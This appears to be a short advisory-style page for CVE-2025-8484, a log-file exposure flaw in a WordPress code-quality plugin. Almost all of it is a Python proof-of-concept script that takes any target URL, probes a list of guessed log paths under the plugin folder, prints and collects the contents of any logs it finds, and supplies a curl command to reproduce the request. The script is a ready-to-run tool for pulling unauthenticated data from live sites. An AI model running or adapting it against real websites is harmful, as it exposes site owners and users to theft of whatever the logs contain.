CVE-2025-8484 WordPress Code Quality Control Tool插件敏感信息泄露漏洞

# CVE-2025-8484 - WordPress Code Quality Control Tool Sensitive Information Exposure PoC # This PoC demonstrates how to access publicly exposed log files import requests import sys def exploit(target_url): """ Exploit for CVE-2025-8484 Targets publicly exposed log files in Code Quality Control Tool plugin v2.1 """ # Common log file paths in the plugin directory log_paths = [ "/wp-content/plugins/code-quality-control-tool/error_log.txt", "/wp-content/plugins/code-quality-control-tool/error.log", "/wp-content/plugins/code-quality-control-tool/logs/error.log", "/wp-content/plugins/code-quality-control-tool/debug.log", "/wp-content/plugins/code-quality-control-tool/error_logger.log", ] print(f"[*] Targeting: {target_url}") print(f"[*] CVE-2025-8484 - Sensitive Information Exposure") print("-" * 60) found_files = [] for path in log_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] FOUND: {url}") print(f" Status: {response.status_code}") print(f" Size: {len(response.content)} bytes") # Display first 500 chars of log content content_preview = response.text[:500] print(f" Preview:\n{content_preview}") print("-" * 60) found_files.append({ 'url': url, 'size': len(response.content), 'content': response.text }) elif response.status_code == 403: print(f"[-] Access Denied: {url}") else: print(f"[-] Not Found ({response.status_code}): {url}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {str(e)}") return found_files def curl_exploit(target_url, log_path): """ Simple curl-based exploitation Usage: curl -s http://target.com/wp-content/plugins/code-quality-control-tool/error_log.txt """ full_url = target_url.rstrip('/') + log_path print(f"\n[*] Curl command to reproduce:") print(f" curl -s '{full_url}'") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-8484.py <target_url>") print("Example: python3 cve-2025-8484.py https://example.com") sys.exit(1) target = sys.argv[1] results = exploit(target) if results: print(f"\n[!] Vulnerability confirmed! Found {len(results)} exposed log file(s)") print("[!] Sensitive information may be exposed to unauthenticated attackers") else: print("\n[-] No exposed log files found or vulnerability has been patched")